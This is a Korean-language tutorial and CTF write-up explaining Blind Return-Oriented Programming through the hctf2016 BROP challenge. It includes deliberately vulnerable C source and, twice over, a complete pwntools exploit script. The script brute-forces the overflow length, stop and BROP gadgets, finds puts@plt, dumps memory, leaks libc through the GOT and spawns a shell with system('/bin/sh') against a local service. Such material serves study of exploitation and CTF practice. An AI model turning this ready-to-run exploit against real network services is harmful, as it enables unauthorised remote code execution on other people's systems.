BROP
1. BROP (Blind Return-Oriented Programming)
BROP란 ROP 기법을 사용하여 프로그램을 제어하는 과정에서 바이너리파일과 소스코드가 존재 하지 않을 때 (바이너리가 공개되지 않은 오픈 소스 등) 사용할 수 있는 기법이다.
Blind Sql Injection과 비슷하게 프로그램의 반응을 보며 특정 주소의 정보를 수집하고 정보를 통해 흐름을 제어한다.
필요 순서
1. 리턴 값 변조가 가능한 부분을 찾고 카나리 값 유출
2. Stop Gadget 찾기
3. Stop Gadget를 이용해 레지스터에 값을 저장할 수 있는 BROP Gadget 찾기
4. 필요한 함수 찾기
5. ROP 수행
Stop Gadget 이란
BROP Gadget을 찾기 위한 가젯으로 프로그램 재시작 및 취약한 함수의 시작 주소 등이 있다
BROP Gadget 이란
함수에 인자 값을 전달하기 위한 가젯으로
pop register ; ret 이러한 형식으로 존재하는 가젯이다
실습
hctf2016에서 출제된 BROP 문제이다
실제 문제에선 소스코드 및 바이너리가 제공되지 않았으며 overflow 크기만 제공되었다
//gcc -fno-stack-protector brop.c -o brop
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
1. 오버플로우가 발생하는 문자열의 길이 체크
check() 함수의 결과가 참일 경우 "Do not dump my memory" 문자열이 출력된다
하지만, 바이너리 조차 없으므로 check 함수가 참이되는건 사실상 불가능하다
따라서, read에서 버퍼 오버플로우가 발생하므로 len이 몇에서 발생하는지 체크해야한다
from pwn import *
ip = "127.0.0.1"
port = 10001
context.log_level = "error"
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
def find_Overflow():
for i in range(1, 0x100):
payload = b"A" * i
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(timeout = 0.5).decode()
io.close()
if "No password" in res:
i += 1
except EOFError as e:
io.close()
return i-1
72개의 문자 뒤가 vuln함수의 return 주소인 것을 알 수 있다
2. Stop Gadget 찾기
프로그램이 재시작 되거나 취약한 함수의 주소를 찾아야한다
pie가 적용되지 않은 프로그램에서 .code 영역은 0x401000부터라고 할 경우
0x402000 까지 ret를 변조하며 만약 실행시 출력 문자열 "Welcome my friend,Do you know password?" 문자열이 다시 출력되는 ret를 구한다
base = 0x400000
def find_stop_gadget(size):
for i in range(0, 0x1000):
stop_gadget = base + i
payload = b"A" * size
payload += p64(stop_gadget)
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(timeout = 0.5).decode()
if "WelCome my friend" in res:
io.close()
return stop_gadget
except Exception as e:
io.close()
_start의 주소
3. brop 가젯 찾기
이제 stop_gadget을 사용해서 brop 가젯을 찾아야 한다
brop 가젯은 pop register ; ret 의 구조를 가진 가젯을 의미한다
따라서
payload = b"A" * size
payload += p64(brop_gadget) => 0x1000 ~ 0x2000 (코드 영역)
payload += p64(0) * 6
payload += p64(stop_gadget)
의 형태로 코드영역의 주소를 보내준다
def find_brop_gadget(size, stop_gadget):
print("Searching BROP Gadget...")
for i in range(0x0, 0x1000):
brop_gadget = int(base + i)
if maybe_brop_gadget(size, stop_gadget, brop_gadget):
print("maybe_brop_gadget : ", hex(brop_gadget))
if is_brop_gadget(size, brop_gadget):
print("Find BROP Gadget : ", hex(brop_gadget))
return brop_gadget
def maybe_brop_gadget(size, stop_gadget, brop_gadget):
try:
payload = b"A" * size
payload += p64(brop_gadget)
payload += p64(0) * 6
payload += p64(stop_gadget)
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(1024, timeout = 0.2).decode()
io.close()
if "WelCome my friend" in res:
print("find BROP or STOP : ", hex(brop_gadget))
return True
return False
except Exception as e:
io.close()
return False
def is_brop_gadget(size, brop_gadget):
try:
payload = b"A" * size
payload += p64(brop_gadget)
payload += p64(0x0) * 0x10
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(1024, timeout = 0.5).decode()
if "WelCome my friend" in res:
io.close()
return False
except Exception as e:
io.close()
print("Find BROP Gadget : ", hex(brop_gadget))
return True
perhapse_brop_gadget 에서 ret 주소를 1씩 증가하여 넣어주며 그 아래로 6개의 더미 값을 넣고 stop_gadget을 넣는다
이렇게 된다면 만약 brop_gadget 일 경우 6개의 스택을 pop 시킨 후 stop_gadget으로 ret하여 "WelCome ~~" 가 다시 출력될 것이다.
하지만, 만약 brop_gadget 자체가 stop_gadget 일 경우도 생각해야한다
그럴 경우 ret에서 곧바로 main함수가 재 실행되어 "WelCome ~~" 가 출력된다.
즉, perhapse_brop_gadget에서는 brop_gadget, stop_gadget이 반환되기 때문에 진짜 brop_gadget을 찾기 위해 반환된 값을 가지고 is_brop_gadget 함수를 한번 더 진행한다
is_brop_gadget에서는 payload에서 stop_gadget을 빼서 보내준다
그럴 경우 만약 stop_gadget일때는 곧바로 main이 재시작 되므로 "WelCome ~~" 문구가 나올테지만
만약 진짜 brop_gadget일 경우 pop 연산 수행 후 ret에서 스택에 쓰레기 값이 있으므로 프로그램이 터질 것이다
따라서, Exception이 발생할 경우 brop_gadget인 것을 알 수 있다
따라서 출력된 brop_gadget은 pop * 6 번 수행 후 ret하는 가젯이다
또한 해당 주소 0x4007ba + 0x9 위치에 pop_rdi_ret 가젯을 확인할 수 있다
4. puts_plt 주소 구하기
pop_rdi_ret 가젯을 이용해 puts_plt 주소를 구할 수 있다
마찬가지로 pop_rdi_ret 가젯을 ret로 변조 후 프로그램의 가장 첫 메모리 부분 "\x7fELF"를 rdi 인자로 넣어준 후
코드영역의 주소를 1바이트씩 증가시켜 넣어준다
결과적으로 "\xELF" 문자열이 출력된다면 해당 위치가 puts_plt 주소임을 알 수 있다.
def find_puts_plt(size, pop_rdi_ret):
for i in range(0x0, 0x1000):
puts_plt = int(base + i)
payload = b"A" * size
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(puts_plt)
try:
with remote(ip, port, level='error') as io:
io.sendafter("password?\n", payload)
res = io.recv(1024, timeout = 0.2).decode()
if res.startswith("\x7fELF"):
io.close()
return puts_plt
except Exception as e:
io.close()
puts_plt 주소
5. 메모리 덤프
이제 puts 함수를 이용해 바이너리 덤프를 떠야한다
바이너리의 0x400000 부터 코드 영역 0x401000까지 puts 출력 후 memory.ump 파일에 저장해준다
이때 만약 출력된 메모리가 1바이트보다 클 경우가 있으므로
now += len(data) 코드를 넣어주고 만약 0x00일 경우에는 data는 0x00으로 설정 후 값을 이어준다
def memory_dump(size, stop_gadget, pop_rdi_ret, puts_plt):
now = base
end = 0x401000
dump = b""
while now < end:
if now % 0x100 == 0:
print("now : ", hex(now))
payload = b"A" * size
payload += p64(pop_rdi_ret)
payload += p64(now)
payload += p64(puts_plt)
payload += p64(stop_gadget)
slog("now", now)
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
data = io.recv()
io.close()
data = data[:data.index(b"\nWelCome")]
except ValueError as e:
data = data
except Exception as e:
continue
if len(data.split()) == 0:
data = b'\x00'
dump += data
now += len(data)
print("dump : ", dump)
with open("memory.dump", "wb") as f:
f.write(dump)
6. puts_got 주소 찾기
덤프된 메모리 파일을 radare2를 사용하여 확인한다. 아이다로 확인해도됨
brop 코드 실행 도중 얻은 puts_plt 주소 0x555 (pie_base 뺀 값) 확인 시 puts_plt 로 예상되는 명령어 조각이 보인다
실제 puts_plt 주소는 0x560이며 jmp하는 got의 주소는 0x201018이다
따라서 실제 프로그램 런타임 중에는 pie_base를 더해서 0x601018일 것이다
7. libc 버전 구하기
다시 puts_plt를 이용해 이번에는 got의 주소를 읽어서 puts함수의 라이브러리 실제 주소를 구해준다
def find_puts_got(size, pop_rdi_ret, puts_plt, stop_gadget):
payload = b"A" * size
payload += p64(pop_rdi_ret)
payload += p64(0x601018)
payload += p64(puts_plt)
payload += p64(stop_gadget)
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
data = u64(io.recvn(6) + b"\x00" * 2)
io.close()
return data
except Exception as e:
io.close()
return False
현재 로컬 환경에서 돌리는거라 로컬의 libc 버전을 확인할 수 있다
libc-database를 통해 주요한 부분의 메모리 offset 확인이 가능하며 이제 libc_base도 구할 수 있다
8. system("/bin/sh")
def get_shell(size, stop_gadget, pop_rdi_ret, puts_got, puts_plt):
print("Enter get_shell")
payload1 = b"A" * size
payload1 += p64(pop_rdi_ret)
payload1 += p64(0x601018)
payload1 += p64(puts_plt)
payload1 += p64(stop_gadget)
try:
with remote(ip, port) as io:
io.sendafter("password?\n", payload1)
puts_got = u64(io.recvn(6) + b"\x00" * 2)
slog("puts_got", puts_got)
libc_base = puts_got - puts_offset
system_addr = system_offset + libc_base
binsh_addr = binsh_offset + libc_base
slog("libc_base", libc_base)
payload2 = b"A" * size
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(pop_rdi_ret + 1)
payload2 += p64(system_addr)
io.sendafter("password?\n", payload2)
io.interactive()
except Exception as e:
print("get_shell Fail")
쉘이 실행되었다
전체 코드
from pwn import *
ip = "127.0.0.1"
port = 10001
#context.log_level = "error"
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
def find_Overflow():
for i in range(1, 0x100):
payload = b"A" * i
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(timeout = 0.5).decode()
io.close()
if "No password" in res:
i += 1
except EOFError as e:
io.close()
return i-1
base = 0x400000
def find_stop_gadget(size):
for i in range(0, 0x1000):
stop_gadget = base + i
payload = b"A" * size
payload += p64(stop_gadget)
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(timeout = 0.5).decode()
if "WelCome my friend" in res:
io.close()
return stop_gadget
except Exception as e:
io.close()
def find_brop_gadget(size, stop_gadget):
print("Searching BROP Gadget...")
for i in range(0x0, 0x1000):
brop_gadget = int(base + i)
if maybe_brop_gadget(size, stop_gadget, brop_gadget):
print("maybe_brop_gadget : ", hex(brop_gadget))
if is_brop_gadget(size, brop_gadget):
print("Find BROP Gadget : ", hex(brop_gadget))
return brop_gadget
def maybe_brop_gadget(size, stop_gadget, brop_gadget):
try:
payload = b"A" * size
payload += p64(brop_gadget)
payload += p64(0) * 6
payload += p64(stop_gadget)
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(1024, timeout = 0.2).decode()
io.close()
if "WelCome my friend" in res:
print("find BROP or STOP : ", hex(brop_gadget))
return True
return False
except Exception as e:
io.close()
return False
def is_brop_gadget(size, brop_gadget):
try:
payload = b"A" * size
payload += p64(brop_gadget)
payload += p64(0x0) * 0x10
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
res = io.recv(1024, timeout = 0.5).decode()
if "WelCome my friend" in res:
io.close()
return False
except Exception as e:
io.close()
print("Find BROP Gadget : ", hex(brop_gadget))
return True
def find_puts_plt(size, pop_rdi_ret):
for i in range(0x0, 0x1000):
puts_plt = int(base + i)
payload = b"A" * size
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(puts_plt)
try:
with remote(ip, port, level='error') as io:
io.sendafter("password?\n", payload)
res = io.recv(1024, timeout = 0.2).decode()
if res.startswith("\x7fELF"):
io.close()
return puts_plt
except Exception as e:
io.close()
def memory_dump(size, stop_gadget, pop_rdi_ret, puts_plt):
now = base
end = 0x401000
dump = b""
while now < end:
if now % 0x100 == 0:
print("now : ", hex(now))
payload = b"A" * size
payload += p64(pop_rdi_ret)
payload += p64(now)
payload += p64(puts_plt)
payload += p64(stop_gadget)
slog("now", now)
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
data = io.recv()
io.close()
data = data[:data.index(b"\nWelCome")]
except ValueError as e:
data = data
except Exception as e:
continue
if len(data.split()) == 0:
data = b'\x00'
dump += data
now += len(data)
print("dump : ", dump)
with open("memory.dump", "wb") as f:
f.write(dump)
def find_puts_got(size, pop_rdi_ret, puts_plt, stop_gadget):
payload = b"A" * size
payload += p64(pop_rdi_ret)
payload += p64(0x601018)
payload += p64(puts_plt)
payload += p64(stop_gadget)
try:
with remote(ip, port, level = 'error') as io:
io.sendafter("password?\n", payload)
data = u64(io.recvn(6) + b"\x00" * 2)
io.close()
return data
except Exception as e:
return False
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
system_offset = libc.symbols["system"]
binsh_offset = 0x1a7e43
puts_offset = libc.symbols["puts"]
def get_shell(size, stop_gadget, pop_rdi_ret, puts_got, puts_plt):
print("Enter get_shell")
payload1 = b"A" * size
payload1 += p64(pop_rdi_ret)
payload1 += p64(0x601018)
payload1 += p64(puts_plt)
payload1 += p64(stop_gadget)
try:
with remote(ip, port) as io:
io.sendafter("password?\n", payload1)
puts_got = u64(io.recvn(6) + b"\x00" * 2)
slog("puts_got", puts_got)
libc_base = puts_got - puts_offset
system_addr = system_offset + libc_base
binsh_addr = binsh_offset + libc_base
slog("libc_base", libc_base)
payload2 = b"A" * size
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(pop_rdi_ret + 1)
payload2 += p64(system_addr)
io.sendafter("password?\n", payload2)
io.interactive()
except Exception as e:
print("get_shell Fail")
size = find_Overflow()
print(size)
stop_gadget = find_stop_gadget(size)
print("Find Stop_Gadget : ", hex(stop_gadget))
brop_gadget = find_brop_gadget(size, stop_gadget)
pop_rdi_ret = brop_gadget + 0x9
print("Find BROP_Gadget : ", hex(brop_gadget))
print("Find pop_rdi_ret : ", hex(pop_rdi_ret))
puts_plt = find_puts_plt(size, pop_rdi_ret)
print("Find puts_plt : ", hex(puts_plt))
#memory_dump(size, stop_gadget, pop_rdi_ret, puts_plt)
#print("Done Dump")
puts_got = find_puts_got(size, pop_rdi_ret, puts_plt, stop_gadget)
print("Find puts got : ", hex(puts_got))
get_shell(size, stop_gadget, pop_rdi_ret, puts_got, puts_plt)